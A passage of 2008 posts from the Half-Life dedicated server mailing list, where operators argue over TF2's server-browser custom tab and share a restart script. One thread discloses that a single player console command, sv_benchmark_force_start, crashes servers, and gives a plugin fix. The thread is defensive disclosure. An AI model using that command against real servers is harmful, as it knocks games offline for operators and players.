> > > > From: Tom Leighton <[EMAIL PROTECTED]>
> > > > To: Half-Life dedicated Win32 server mailing list <
> > > > hlds@list.valvesoftware.com>
> > > > Sent: Tuesday, April 29, 2008 5:52:34 PM
> > > > Subject: Re: [hlds] Team Fortress 2 Update Coming
> > > >
> > > > I'm waiting
> > > >
> > > >
> > > >
> > > >
> > > >
> > > >
> > > >
> > > > 
> > > >
> > > > Jason Ruymen wrote:
> > > > > The long-waited required Team Fortress 2 update will be arriving
> > > soon.
> > > > > Should be live in about an hour from now.
> > > > >
> > > > > Jason
> > > > >
> > > > > ___
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> > > archives,
> > > > please visit:
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> > > > >
> > > > >
> > > >
> > > >
> > > > ___
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> archives,
> > > > please visit:
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> > > >
> > > >
> > > >
> > > >
> > > >
> > >
>  
> 
> > > > Be a better friend, newshound, and
> > > > know-it-all with Yahoo! Mobile.  Try it now.
> > > > http://mobile.yahoo.com/;_ylt=Ahu06i62sR8HDtDypao8Wcj9tAcJ
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Re: [hlds] sv_benchmark_force_start exploit info and *fix*

2008-04-29 Thread P. Bhandal
Valve is busy fixing important things like the custom tab, they have no time
for extremely destructive security holes!

On Tue, Apr 29, 2008 at 12:16 AM, Tony Paloma <[EMAIL PROTECTED]>
wrote:

> Valve is sleeping.
>
> -Original Message-
> From: [EMAIL PROTECTED]
> [mailto:[EMAIL PROTECTED] On Behalf Of Saint K.
> Sent: Tuesday, April 29, 2008 12:04 AM
> To: 'Half-Life dedicated Win32 server mailing list'
> Subject: Re: [hlds] sv_benchmark_force_start exploit info and *fix*
>
> VALVe,
>
> Any hint on if this can be patched with the update tonight?
>
> Cheers,
>
> -Original Message-
> From: [EMAIL PROTECTED]
> [mailto:[EMAIL PROTECTED] On Behalf Of Cc2iscooL
> Sent: Tuesday, April 29, 2008 8:59 AM
> To: Half-Life dedicated Win32 server mailing list
> Subject: Re: [hlds] sv_benchmark_force_start exploit info and *fix*
>
> I've tested it on both OS's...
>
> It works on both. (Exploit and fix.)
>
> Saint K. wrote:
> > Neph, does this issue exist on Linux as well if you know?
> >
> > Cheers,
> >
> > Saint K.
> > -Original Message-
> > From: [EMAIL PROTECTED]
> > [mailto:[EMAIL PROTECTED] On Behalf Of Nephyrin Zey
> > Sent: Tuesday, April 29, 2008 8:16 AM
> > To: Half-Life dedicated Win32 server mailing list
> > Subject: Re: [hlds] sv_benchmark_force_start exploit info and *fix*
> >
> > (That's assuming the .dll/so is in orangebox/tf/addons, if you
> > followed my instructions (orangebox/bin) use the .vdf in the zip)
> >
> > On Mon, Apr 28, 2008 at 11:11 PM, Cc2iscooL <[EMAIL PROTECTED]> wrote:
> >
> >> Add the following to a VDF named "NephCVUH.vdf"
> >>
> >>  
> >>
> >>  "Plugin"
> >>  {
> >> "file"  "../orangebox/tf/addons/NephCVUH"
> >>  }
> >>
> >>  
> >>
> >>
> >>
> >>  Andrius Pirus wrote:
> >>  > Oh thanks Neph, but where is a vdf file?
> >>  >  Quoting Nephyrin Zey : (repost since list partially (?) rejected
> >>  > message with attachment
> >>  >  instead of link)
> >>  >  sv_benchmark_force_start, when typed in the console by any player,
> >>  >  crashes a server. Yay.
> >>  >  This is a plugin:
> >>  >  http://www.nephyrin.net/NephCVUH_1.0.zip
> >>  >  The plugin adds the 'ncp' command, which makes the selected cvar a
> >>  > CHEAT
> >>  >  so load up the plugin, and add to your server.cfg:
> >>  >  ncp sv_benchmark_force_start
> >>  >  That should be it. Let me know if you have any problems.
> >>  >  - Neph
> >>  >  ___
> >>  >  To unsubscribe, edit your list preferences, or view the list
> >>  > archives, please visit:
> >>  >  http://list.valvesoftware.com/mailman/listinfo/hlds
> >>  >
> >>  >
> >>  > Links:
> >>  > --
> >>  > [1] mailto:[EMAIL PROTECTED]
> >>  > ___
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> archives,
> >>
> > please visit:
> >
> >>  > http://list.valvesoftware.com/mailman/listinfo/hlds
> >>  >
> >>
> >>  ___
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> >>
> > please visit:
> >
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> >>
> >>
> >
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Re: [hlds] New server exploit (not nuking)

2008-04-28 Thread P. Bhandal
I'd really prefer it if they spent their time ensuring that the wonder that
is the custom tab is successful rather than patching this security hole.
Priorities people!

On Mon, Apr 28, 2008 at 10:02 PM, voogru <[EMAIL PROTECTED]> wrote:

> Well, we still did the right thing.
>
> Whether they give us credit or not, no big deal.
>
> It would be neat though :D
>
> - voogru.
>
> -Original Message-
> From: [EMAIL PROTECTED]
> [mailto:[EMAIL PROTECTED] On Behalf Of Tony Paloma
> Sent: Tuesday, April 29, 2008 12:54 AM
> To: 'Half-Life dedicated Win32 server mailing list'
> Subject: Re: [hlds] New server exploit (not nuking)
>
> One srcds exploit. I helped. That reminds me, didn't valve say they'd give
> us a mention in a steam news update thing?
>
> -Original Message-
> From: [EMAIL PROTECTED]
> [mailto:[EMAIL PROTECTED] On Behalf Of voogru
> Sent: Monday, April 28, 2008 9:41 PM
> To: 'Half-Life dedicated Win32 server mailing list'
> Subject: Re: [hlds] New server exploit (not nuking)
>
> No.
>
> Me first.
>
> I probably found some of the coolest srcds exploits anyway (was recently
> fixed :D)
>
> - voogru.
>
> -Original Message-
> From: [EMAIL PROTECTED]
> [mailto:[EMAIL PROTECTED] On Behalf Of Tony Paloma
> Sent: Tuesday, April 29, 2008 12:24 AM
> To: 'Half-Life dedicated Win32 server mailing list'
> Subject: Re: [hlds] New server exploit (not nuking)
>
> Uhm, me first.
>
> -Original Message-
> From: [EMAIL PROTECTED]
> [mailto:[EMAIL PROTECTED] On Behalf Of Nephyrin Zey
> Sent: Monday, April 28, 2008 9:19 PM
> To: Half-Life dedicated Win32 server mailing list
> Subject: Re: [hlds] New server exploit (not nuking)
>
> Dear Valve:
>
> God damn.
> I just finished my damn iptables rule to fix your broken packethandling.
>
> In conclusion, give me a job. (please? I'll pretend to like wow around
> gabe!)
>
> - Neph
>
> On Mon, Apr 28, 2008 at 9:12 PM, Tony Paloma <[EMAIL PROTECTED]>
> wrote:
> > Found the problem
> >
> >  "sv_benchmark_force_start"
> >   game
> >   - Force start the benchmark. This is only for debugging. It's better
> to
> set
> >  sv_benchmark to 1 and restart the level.
> >
> >  Players can run this and make the server start the benchmark. Real bad
> >  k.
> >
> >
> >  -Original Message-
> >  From: [EMAIL PROTECTED]
> >
> > [mailto:[EMAIL PROTECTED] On Behalf Of Ian Shaffer
> >  Sent: Monday, April 28, 2008 9:06 PM
> >  To: Half-Life dedicated Win32 server mailing list
> >
> >
> > Subject: Re: [hlds] New server exploit (not nuking)
> >
> >  What map is running?
> >
> >  Tony Paloma wrote:
> >  > Also, this is what shows up in the logs. No indication of any RCON
> >  commands
> >  > being executed.
> >  >
> >  > ...
> >  > L 04/28/2008 - 22:43:54: "Anona
> mouse<12>"
> >  > joined team "Red"
> >  > L 04/28/2008 - 22:43:54: server_cvar: "mp_teams_unbalance_limit" "0"
> >  > L 04/28/2008 - 22:43:54: "Thomas<2>" say
> "hmmm"
> >  > L 04/28/2008 - 22:43:55: "Bot01<17><>" connected, address
> "0.0.0.0:0"
> >  > L 04/28/2008 - 22:43:55: "Bot01<17><>" entered the game
> >  > L 04/28/2008 - 22:43:55: "Voltaic<6>" changed
> role
> >  > to "medic"
> >  > L 04/28/2008 - 22:43:55: "Bot01<17>" joined team
> "Blue"
> >  > L 04/28/2008 - 22:43:55: "Bot01<17>" changed role to
> "engineer"
> >  > L 04/28/2008 - 22:43:55: "Bot01<17>" triggered
> "builtobject"
> >  > (object "OBJ_SENTRYGUN") (position "-3202 2574 -450")
> >  > ...
> >  >
> >  > Again, another time:
> >  > ..
> >  > L 04/28/2008 - 22:42:49: server_cvar: "mp_teams_unbalance_limit" "0"
> >  > L 04/28/2008 - 22:42:50: "Bot01<22><>" connected, address
> "0.0.0.0:0"
> >  > L 04/28/2008 - 22:42:50: "Bot01<22><>" entered the game
> >  > ...
> >  >
> >  > -Original Message-
> >  > From: [EMAIL PROTECTED]
> >  > [mailto:[EMAIL PROTECTED] On Behalf Of Tony Paloma
> >  > Sent: Monday, April 28, 2008 8:52 PM
> >  > To: 'Half-Life dedicated Win32 server mailing list'
> >  > Subject: [hlds] New server exploit (not nuking)
> >  >
> >  > So my servers are getting this in the console:
> >  >
> >  >
> >  >
> >  > Benchmark: 40% complete.
> >  >
> >  > Benchmark: 43% complete.
> >  >
> >  > (:: lmao
> >  >
> >  > Benchmark: 46% complete.
> >  >
> >  > Benchmark: 49% complete.
> >  >
> >  > Compressing fragments (552 -> 521 bytes
> >  >
> >  > Benchmark: 52% complete.
> >  >
> >  > Compressing fragments (691 -> 667 bytes
> >  >
> >  > Benchmark: 55% complete.
> >  >
> >  >
> >  >
> >  > People are claiming to see bots spawning and crazy stuff happening
> then
> >  > "something to do with balance being turned to 0 then it crashes."
> >  >
> >  >
> >  >
> >  > Another report said, "it said team balance set to 0 then it crashed."
> >  >
> >  >
> >  >
> >  > So I'm thinking either my RCON password was compromised or a new
> exploit
> >  is
> >  > going around. I checked real quick and didn't find anything to
> suggest
> it
> >  > was my RCON password getting out. Anyone know what commands cause
> this
> >  > Benchmark thing?

Re: [hlds] Custom Tab for CS:S?

2008-04-19 Thread P. Bhandal
I don't have an exact date, but I believe it will happen on the same day
that I shut down all of my CS:S servers.

On Sat, Apr 19, 2008 at 2:59 AM, <[EMAIL PROTECTED]> wrote:

> Has there been any news on if or when there will be a custom tab for CS:S?
>
> There has been quite a few people who play on our server asking for one
> after seeing it in TF2.
>
> GM Chicken.
>
>
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Re: [hlds] Internet Tab VS Custom Tab

2008-04-08 Thread P. Bhandal
The argument that people don't want to play on custom servers is ludicrous.
You can get away with saying that about insta spawn servers because none of
us can prove otherwise (you can't prove that it's the case, and we can't
prove that it's not). But that's certainly not the case with 32 man servers.

I'm sure the vast majority of TF2 players realize the number of slots that a
server has. When 32 man servers are in the internet tab they're filling up,
when they're on the custom tab they're not. What does that tell you about
how people feel about 'custom' servers? What does that tell you about the
impact of the custom tab?

If people don't want to play on 32 man servers no one is forcing them. While
you can argue that instant spawn servers lack transparency about their 'non
vanilla' nature, that's not the case with 32 man servers -- it's clearly
stated in the slot count! If players want to avoid 32 man servers it's
rather simple, a custom tab isn't necessary to achieve that end.

On Tue, Apr 8, 2008 at 11:33 AM, Spencer 'voogru' MacDonald <
[EMAIL PROTECTED]> wrote:

> 1. Yes, so let's get rid of the custom tab and just delist custom servers.
>
> That is, after all, what you are saying. Nobody wants to play custom
> servers. I guess that's why I receive enough donations from players to
> cover
> 65-70% of my server costs each month.
>
> Because no one wants to play on my 'custom' server.
>
> Right.
>
> The fact of the matter is, people are interested in custom servers.
>
> 2. Perhaps custom servers are on the internet tab as a result of the
> servers
> dying due to being 90% less visible.
> 3. It counts all queries, except if a player queries both servers at the
> same exact time (out of game browser.)
>
> I'm in this game for the long haul, the two tabs system in my opinion is
> setting things up for a long term failure.
>
> - voogru.
>
> -Original Message-
> From: [EMAIL PROTECTED]
> [mailto:[EMAIL PROTECTED] On Behalf Of Leonard L.
> Church
> Sent: Tuesday, April 08, 2008 11:10 AM
> To: Half-Life dedicated Win32 server mailing list
> Subject: Re: [hlds] Internet Tab VS Custom Tab
>
> Perhaps there is another possible reason.
>
> 1) Perhaps people are not interested in custom servers as much as you
> may think.
> 2) Perhaps people don't move to the custom tag because most all of the
> custom servers are in the internet tab currently.
> 3) Your test environment is flawed. When the game starts up and you
> click on "find servers", it defaults to the internet tab. This means if
> someone wants to go to the custom tab, they HAVE to go to the internet
> tab as well. Please delete the total of the custom queries from the
> internet total. Then, what about refreshes? Are you only allowing 1 hit
> from a specific IP within a certain timeframe? What is that timeframe?
> If not, why do you allow refreshes to count on either tab?
>
> Not trying to say it isn't revealing what your page shows... Just saying
> that it may not be revealing what you expect.
>
> Spencer 'voogru' MacDonald wrote:
>  > Yesterday I decided to do an experiment.
>  >
>  > I have made 2 experimental servers. These servers are brand new and
> have
>  > never been played on. They will not be in anyone's favorites or HLSW
> viewer.
>  > They are not real servers and will not accept incoming connections.
>  >
>  > One of the servers is on the Internet Tab. The other one is on the
> Custom
>  > Tab.
>  >
>  > Since the out of game server browser does not have a Custom Tab, all
> servers
>  > are displayed on that. Since I really only want to count the queries
> made by
>  > the in-game browser so I am filtering out queries if someone queries
> both
>  > servers at the same exact time, some can leak through but I don't
> think that
>  > will affect the stats too much.
>  >
>  > http://www.voogru.com/server/queries.php
>  >
>  > This page is in real time and can be refreshed to receive instant
> updates.
>  >
>  > At of the time of this writing, the custom tab servers receive about
> a 90%
>  > reduction in queries, even after players have had the little message
>  > explaining the custom tab.
>  >
>  > I wish I would have started this experiment sooner.
>  >
>  > - voogru.
>  >
>  >
>  > ___
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Re: [hlds] Upcoming TF 2/Dedicated Server release

2008-03-20 Thread P. Bhandal
Will this update still be coming out this evening, or has it been held off
until tomorrow? Starting to get a bit late on the East Coast.

Thanks!

On Thu, Mar 20, 2008 at 8:29 PM, Don Williams <[EMAIL PROTECTED]> wrote:

> To the custom tab we go!
>
> -Original Message-
> From: [EMAIL PROTECTED]
> [mailto:[EMAIL PROTECTED] On Behalf Of Spencer 'voogru'
> MacDonald
> Sent: Thursday, March 20, 2008 8:24 PM
> To: 'Half-Life dedicated Win32 server mailing list'
> Subject: Re: [hlds] Upcoming TF 2/Dedicated Server release
>
> I'm scared now.
>
> - voogru.
>
> -Original Message-
> From: [EMAIL PROTECTED]
> [mailto:[EMAIL PROTECTED] On Behalf Of Don Williams
> Sent: Thursday, March 20, 2008 7:18 PM
> To: 'Half-Life dedicated Win32 server mailing list'
> Subject: Re: [hlds] Upcoming TF 2/Dedicated Server release
>
> We can only hope.
>
> -Original Message-
> From: [EMAIL PROTECTED]
> [mailto:[EMAIL PROTECTED] On Behalf Of Andreas Grimm
> Sent: Thursday, March 20, 2008 7:06 PM
> To: 'Half-Life dedicated Win32 server mailing list'
> Subject: Re: [hlds] Upcoming TF 2/Dedicated Server release
>
> hopefully the removal of the bug called custom tab
>
> -Original Message-
> From: [EMAIL PROTECTED]
> [mailto:[EMAIL PROTECTED] On Behalf Of Jason Ruymen
> Sent: Thursday, March 20, 2008 11:56 PM
> To: hlds@list.valvesoftware.com; [EMAIL PROTECTED]
> Subject: [hlds] Upcoming TF 2/Dedicated Server release
>
> Just a heads up, we're planning on having a required Team Fortress 2
> update later today.  No specific changes yet.
>
> Jason
>
> ___
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Re: [hlds] Valve, thank you for virtually destroying my TF2 community.

2008-03-14 Thread P. Bhandal
Exactly Killer. I don't see how having 32 man unmodded servers impact you in
any way. You can argue about a lack of transparency on insta spawn servers,
etc, but 32 man servers that are otherwise unmodded are hiding nothing.
Don't like it? Don't join it! Is it really that difficult?

I personally dislike 24 man servers, I find that the action is too sparse
and that the battlefield generally feels empty. Should I start a crusade as
well?

On Fri, Mar 14, 2008 at 7:09 PM, "[??R] The-/
wrote:

> No one complained about 32 player servers in beta and in early release I
> don't see why they're such a problem, if you don't like them don't join
> them its as simple as that. Other servers shouldn't be censored just
> because some people don't like 32 player servers in general. It's not
> like your computer is going to shit itself just because it sees a 32
> player server on the list, its your fault if you connect to it not the
> server operator's.
>
> Steve wrote:
> > + 2
> >
> >
> >> Amen..
> >>
> >> I also like the tabs, sucks I'm still seeing these 32 slot noob fests
> in
> >> the internet tab though. I don't see the tabs harming the mod in
> general.
> >> I do think in fairness a notation should be shown in both the internet
> and
> >> custom tabs and not just the custom tab as it is now.
> >>
> >> $.02
> >>
> >> - Original Message 
> >> From: StrontiumDog <[EMAIL PROTECTED]>
> >> To: Half-Life dedicated Win32 server mailing list
> >> 
> >> Sent: Friday, March 14, 2008 3:22:39 PM
> >> Subject: Re: [hlds] Valve, thank you for virtually destroying my TF2
> >> community.
> >>
> >> I like the tabs.
> >> A lot of people are vocal about not liking them.  I thought I'd just
> say
> >> that I do like them and thought they were a good idea.
> >> ___
> >> To unsubscribe, edit your list preferences, or view the list archives,
> >> please visit:
> >> http://list.valvesoftware.com/mailman/listinfo/hlds
> >>
> >>
> >>
> 
> >> Never miss a thing.  Make Yahoo your home page.
> >> http://www.yahoo.com/r/hs
> >> ___
> >> To unsubscribe, edit your list preferences, or view the list archives,
> >> please visit:
> >> http://list.valvesoftware.com/mailman/listinfo/hlds
> >>
> >>
> >
> >
> >
> > ___
> > To unsubscribe, edit your list preferences, or view the list archives,
> please visit:
> > http://list.valvesoftware.com/mailman/listinfo/hlds
> >
> >
>
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Re: [hlds] Valve, thank you for virtually destroying my TF2 community.

2008-03-14 Thread P. Bhandal
Right, prior to the tag system players were blindly flocking to 32 man
servers even though they really never wanted to be there in the first place.
As soon as they got into their server they slammed their fist into the deck,
looked up to the heavens and exclaimed "A 32 man server? Drats, not again!"

Players aren't looking at the custom list. Sure, feel free to tag things
like insta spawn servers, lollerhats servers, etc, things that players can't
see directly from the server list, but what justification is there for
delisting 32 player servers that are otherwise run unmodded? Spare me the
'minimum requirements' argument, because there would be more effective ways
to deal with that. The server list clearly states how many slots a server
has, isn't that sufficient warning for the players?

On Fri, Mar 14, 2008 at 5:29 PM, Kevin Ottalini <[EMAIL PROTECTED]>
wrote:

> Perhaps all the custom servers are seeing a drop in attendance because
> players are actually choosing to play on Vanilla servers (I know I do).
>
> Many players I know use a 3rd party serverbrowser or join from the Steam
> Serverbrowser, neither of which care about the tag system at all.
>
> Players with Servers listed in their favorites also don't care about the
> tag
> system at all.
>
>
>
>
> - Original Message -
> From: "StrontiumDog"
> To: "Half-Life dedicated Win32 server mailing list"
> 
> Sent: Friday, March 14, 2008 2:22 PM
> Subject: Re: [hlds] Valve,thank you for virtually destroying my TF2
> community.
>
>
> >I like the tabs.
> > A lot of people are vocal about not liking them.  I thought I'd just say
> > that I do like them and thought they were a good idea.
>
>
> - Original Message -
> From: "[BT]Black V"
> To: "'Half-Life dedicated Win32 server mailing list'"
> 
> Sent: Friday, March 14, 2008 2:15 PM
> Subject: Re: [hlds] Valve,thank you for virtually destroying my TF2
> community.
>
>
> > Well personally, I like the tabs, but I'm an average gamer who only
> plays
> > about 2 to 3 hours a night
> > I don't want to play dustbowl 24/7 (de_dust anyone) i don't want instant
> > jib
> > i don't want instant spawn, I want to play on a std server where I know
> > what
> > happening
> >
> > Personally love the list
> >
>
>
> ___
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> please visit:
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Re: [hlds] Valve, thank you for virtually destroying my TF2 community.

2008-03-14 Thread P. Bhandal
Spot on once again Voogru, you ought to work at Valve! ;)


On Fri, Mar 14, 2008 at 2:12 PM, Spencer 'voogru' MacDonald <
[EMAIL PROTECTED]> wrote:

> A lot of the 'idiots' are usually young kids who had the parents buy the
> game for them.
>
> They just play the game, somebody else paid for it.
>
> I don't think valve refunds games, so once someone buys the game, it's up
> to
> them to get theirs money worth out of it. And if that requires learning
> how
> to play the game and use the games interface that's their problem, not
> valves.
>
> Counter-Strike Source is hard, at least for me. I die in 2 seconds on a
> 'stock' server.
>
> I paid for Counter-Strike Source.
>
> That does not mean valve should make Counter-Strike source easier for me
> to
> play, it means that I should play more Counter-Strike source if I want to
> live longer than 2 seconds.
>
> The situation with the server list is a little different, I guess people
> are
> complaining that every server they go on is different. I agree that this
> is
> a problem that should be resolved. Servers should have the current tags
> and
> server operators should list what changes they have made in their tags. If
> valve does this decently I'll have the tags on my server. And I will list
> a
> bunch of changes, even ones that do not affect game play.
>
> Players that do not care about what server they join simply won't use
> these
> new filters, while the ones that do care have the option of using the new
> filters and players that then complain they can't find stock servers can
> be
> taken to a little page on the steam help site that explains how to use the
> filters.
>
> The custom server admins win.
> The vanilla fan boy players win.
> The idiots win because now they will learn something new about the game
> they
> just purchased.
>
> Problem solved. Everybody wins.
>
> - voogru.
>
> -Original Message-
> From: [EMAIL PROTECTED]
> [mailto:[EMAIL PROTECTED] On Behalf Of Nephyrin Zey
> Sent: Friday, March 14, 2008 1:38 PM
> To: Half-Life dedicated Win32 server mailing list
> Subject: Re: [hlds] Valve, thank you for virtually destroying my TF2
> community.
>
> While saying valve shouldn't cater to idiots might be good for us, you
> have to remember that they want to make their game the best for
> everyone. Idiots still have $30.
>
> Just don't forget Valve's point of view.
>
> ___
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> please visit:
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>
>
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Re: [hlds] Valve, thank you for virtually destroying my TF2 community.

2008-03-14 Thread P. Bhandal
Exactly. It amazes me that the custom tab 'solution' was used over a small
edit to the internet tab.

On Fri, Mar 14, 2008 at 12:46 PM, Timothy L Havener <
[EMAIL PROTECTED]> wrote:

> Why does it have to get so complicated?  One tab plus filters, nuff said.
>
> - Original Message -
> From: "Spencer 'voogru' MacDonald" <[EMAIL PROTECTED]>
> To: "'Half-Life dedicated Win32 server mailing list'"
> 
> Sent: Friday, March 14, 2008 10:58 AM
> Subject: Re: [hlds] Valve,thank you for virtually destroying my TF2
> community.
>
>
> > There is no other solution to this problem other than to add 3 tabs
> > (internet, standard, custom) or to go back to one tab with all of the
> new
> > filters.
> >
> > Anything else is beating around the bush and not really solving
> anything.
> >
> > This seems to be what a majority of people want.
> >
> > - voogru.
> >
> > -Original Message-
> > From: [EMAIL PROTECTED]
> > [mailto:[EMAIL PROTECTED] On Behalf Of Andreas Grimm
> > Sent: Friday, March 14, 2008 11:43 AM
> > To: 'Half-Life dedicated Win32 server mailing list'
> > Subject: Re: [hlds] Valve, thank you for virtually destroying my TF2
> > community.
> >
> > like i said in another message:
> >
> > Remove the custom tab, add the server-tags and the filter-options into
> the
> > internet tab and everything would be fine.
> > with the current system i don't see any sense to add tags into my server
> > ...
> >
> > -Original Message-
> > From: [EMAIL PROTECTED]
> > [mailto:[EMAIL PROTECTED] On Behalf Of Spencer
> 'voogru'
> > MacDonald
> > Sent: Friday, March 14, 2008 4:26 PM
> > To: 'Half-Life dedicated Win32 server mailing list'
> > Subject: Re: [hlds] Valve, thank you for virtually destroying my TF2
> > community.
> >
> > That'd be fine.
> >
> > Right under the VAC message.
> >
> > 'This server is custom and game play may or may not be different'.
> >
> > It's a good excuse to increase the size of that message and perhaps let
> > server operators add a message while they connect to the server.
> >
> > Because we all know people read the MOTDS...
> >
> > - voogru.
> >
> > -Original Message-
> > From: [EMAIL PROTECTED]
> > [mailto:[EMAIL PROTECTED] On Behalf Of Kitteny Berk
> > Sent: Friday, March 14, 2008 11:17 AM
> > To: Half-Life dedicated Win32 server mailing list
> > Subject: Re: [hlds] Valve, thank you for virtually destroying my TF2
> > community.
> >
> > I agree with that entirely.
> >
> > Just adding a checkbox (like in the whole Battlefield, CoD and
> > (probably) Quake series of games) would work nicely,  it's a method most
> > "hardcore" gamers are used to and one that newer gamers should get used
> > to, because it's the industry standard.
> >
> > Hell, even if valve have to add a "this server is using these rules"
> > thing to the loading screen, that'd be better than tabs
> >
> > I'd personally love to be able to add handy info like
> > "offensivepissheads;custommaps" to my server without getting bumped over
> > to the short bus tab.
> >
> > LDuke wrote:
> >> I'm pretty sure most people who are able to download and install steam
> >> are
> >> also able to click a check box that has the words "Standard Servers
> Only"
> >> next to it.  Check boxes are a common feature in most applications and
> > many
> >> web pages.  It's not for "hard core gamers" anymore than sending an
> email
> > is
> >> for "hard core communicators."
> >>
> >> On Fri, Mar 14, 2008 at 8:25 AM, Matthew Cheale <
> [EMAIL PROTECTED]>
> >> wrote:
> >>
> >>
> >>> I put that you think one tab is best because it is what you are used
> to
> >>> and the
> >>> idea of two tabs doesn't fit your mental model.  I also put that
> >>> comprehensive
> >>> filtering options are great for your more hardcore gamer but that
> gaming
> >>> needs
> >>> to push out of hardcore alone.  By offering simpler systems for people
> > who
> >>> are
> >>> not so technically minded as hardcore gamers helps open up the game to
> > the
> >>> masses, people who when they first play a game don't want to be
> >>> bombarded
> >>> with
> >>> strange rule x, y and z, get fed up and quit the game.  At the end of
> >>> the
> >>> day,
> >>> the UI needs to be usable by the lowest, reasonable, common
> denominator.
> >>>
> >>> --
> >>> With regards,
> >>>
> >>> Matthew Cheale
> >>>
> >>>
> >>> +44 (0)56 000 36985
> >>> [EMAIL PROTECTED]
> >>>
> >>> 
> >>> This e.mail is private and confidential between Multiplay (UK) Ltd.
> and
> >>> the person or entity to whom it is addressed. In the event of
> > misdirection,
> >>> the recipient is prohibited from using, copying, printing or otherwise
> >>> disseminating it or any information contained in it.
> >>>
> >>> In the event of misdirection, illegible or incomplete transmission
> >>> please
> >>> telephone +44 845 868 1337
> >>> or return the E.mail to [EMAIL PROTECTED]
> >>>
> >>>
> >>> ___
> >>> To unsubscribe, edit you

Re: [hlds] Valve, thank you for virtually destroying my TF2 community.

2008-03-14 Thread P. Bhandal
Really couldn't have said it better myself Voogru, your predicament is
essentially the same thing I struggled with.

On Fri, Mar 14, 2008 at 3:35 AM, Thomas Morton <[EMAIL PROTECTED]>
wrote:

> how would that have worked?? ;)
>
> Some server admins volunteer to run the beta to "upgrade" their servers to
> the custom tab??? :D
>
> ~ Errant
>
> --
> From: "Spencer 'voogru' MacDonald" <[EMAIL PROTECTED]>
> Sent: Friday, March 14, 2008 8:11 AM
> To: "'Half-Life dedicated Win32 server mailing list'"
> 
> Subject: Re: [hlds] Valve,thank you for virtually destroying my TF2
> community.
>
> > Yeah, when valve said they wanted admins to work within the bounds of
> the
> > tags and they were going to be doing some PR and user education about
> the
> > tabs issue, I decided to respect their wishes and let my server slide
> over
> > to the custom tab.
> >
> > As a result, it was empty for the longest time since I launched it. I
> just
> > recently upgraded my TF2 servers so I could host more servers, I just
> set
> > up
> > my box and 20 minutes after the server was started it was full and
> > remained
> > full most of the time until I let it slide to the custom tab.
> >
> > The server was empty for 11 hours, rather than forcing my server to the
> > internet list, I simply lowered the player count from 30 to 24, this had
> > mixed results, my community did not like it and they were playing on
> other
> > servers.
> >
> > On top of valve not doing any PR or education about the custom tab like
> > they
> > said they would.
> >
> > So, the options for me are:
> >
> > 1. Run a 24 and lose my community because a majority of my community
> > prefers
> > 30 players
> > 2. Let my server go to the custom list and then die a horrible death.
> > 3. Keep my community active by working around poorly thought out
> changes.
> >
> > I don't like doing it, but the alternatives are much worse.
> >
> > Sorry valve, perhaps it would have been best to beta test this feature
> > before forcing it upon everyone.
> >
> > Because if anything needed a beta test, this would have been it.
> >
> > - voogru.
> >
> >
> > -Original Message-
> > From: [EMAIL PROTECTED]
> > [mailto:[EMAIL PROTECTED] On Behalf Of Nephyrin Zey
> > Sent: Thursday, March 13, 2008 11:27 PM
> > To: Half-Life dedicated Win32 server mailing list
> > Subject: Re: [hlds] Valve, thank you for virtually destroying my TF2
> > community.
> >
> > I agree, but what we basically have here is game theory: Sure it would
> > help everyone if we *all* stopped, but that's highly unlikely. In the
> > mean time, delisting my server has little effect other than making it
> > perma-empty (i've tried).
> >
> > I hate to lay all the blame on Valve, but honestly, what did they
> > expect? I'd love to be part of the solution, but emptying out my server
> > right now isn't really going to help that.
> >
> > If someone (or Valve) can come up with a better plan in the short term,
> > however, I'm more than willing to help. The current situation is bad for
> > everyone.
> >
> > - Neph
> >
> > Timothy L Havener wrote:
> >> btw, even though I support you guys in spirit who are using workarounds
> >> to
> >> bypass the custom tab you are really hurting those of  us who decided
> to
> > not
> >> run the plugin any longer and are on the custom tab.  Because there are
> >> still servers with 32 slots on the internet tab its confusing people
> even
> >> more.
> >>
> >>
> >> - Original Message -
> >> From: "Munra"<[EMAIL PROTECTED]>
> >> To:
> >> Sent: Thursday, March 13, 2008 4:24 PM
> >> Subject: Re: [hlds] Valve,thank you for virtually destroying my TF2
> >> community.
> >>
> >>
> >>
> >>> Valve always here "your going kill the game Community"
> >>>
> >>> They heard it when css came out
> >>> They heard it when steam came out
> >>> They heard it when they shut down the won servers.
> >>>
> >>> I am more worried about my servers havin ips in the 205 ranges rather
> > then
> >>> the custom tab killing 32 player servers
> >>> - Original Message -
> >>> From: "Spencer 'voogru' MacDonald"<[EMAIL PROTECTED]>
> >>> To:
> >>> Sent: Thursday, March 13, 2008 4:23 PM
> >>> Subject: RE: [hlds] Valve, thank you for virtually destroying my TF2
> >>> community.
> >>>
> >>>
> >>>
>  You pulled the words right out of my mouth.
> 
>  -Original Message-
>  From: [EMAIL PROTECTED]
>  [mailto:[EMAIL PROTECTED] On Behalf Of Timothy L
> > Havener
>  Sent: Thursday, March 13, 2008 4:06 PM
>  To: hlds@list.valvesoftware.com
>  Subject: Re: [hlds] Valve, thank you for virtually destroying my TF2
>  community.
> 
>  PaaahlaseI have plenty of regulars.  You don't get two
> servers
>  into
>  the top 10 rankings without a lot of regulars. Two of my servers
> still
>  get
>  populated during peak gaming hours, but they empty out around 1-3 am
>  and
>  fill back up around lunchtime 

Re: [hlds] Programs to restart srcds.exe

2008-03-11 Thread P. Bhandal
--
[ Picked text/plain from multipart/alternative ]
It's called ServerChecker, and it's free.

http://www.dumbclan.co.uk/downloads/serverchecker/


On Tue, Mar 11, 2008 at 7:01 PM, Chad <[EMAIL PROTECTED]> wrote:

> Was the program free?
>
> Mike Stiehm wrote:
> > --
> > [ Picked text/plain from multipart/alternative ]
> >
> > Thanks for the bat file.. I wanted this program for its ability to query
> the server
> > so if it hangs abut does not close the tool is able to see that and
> restart the
> > server. It had a list of game types you could select from it was a small
> took
> > Its killing me :) I had it about 3 months ago but went with fire
> deamon..
> >
> >
> >
> >
> >> From: [EMAIL PROTECTED]> To: hlds@list.valvesoftware.com> Subject: Re:
> [hlds] Programs to restart srcds.exe> Date: Tue, 11 Mar 2008 16:42:21
> -0700> > One way is to create a simple .bat file that works like a charm.> >
> 1. Create a new file called srcds.bat> 2. Enter this info (adjust to fit
> your game )> > > @echo off> cls> echo Protecting srcds from crashes...> echo
> If you want to close srcds and this script, close the srcds window and> type
> Y depending on your language followed by Enter.> title Server Booter>
> :srcds> echo (%time%) srcds started.> start /abovenormal /wait 
> srcds.exe-console -game dod +map dod_anzio> +maxplayers 24 +fps_max 500 
> -tickrate 66>
> echo (%time%) WARNING: srcds closed or crashed, restarting.> goto srcds> > >
> 3. Save the file into the directory where you have the srcds.exe. Save
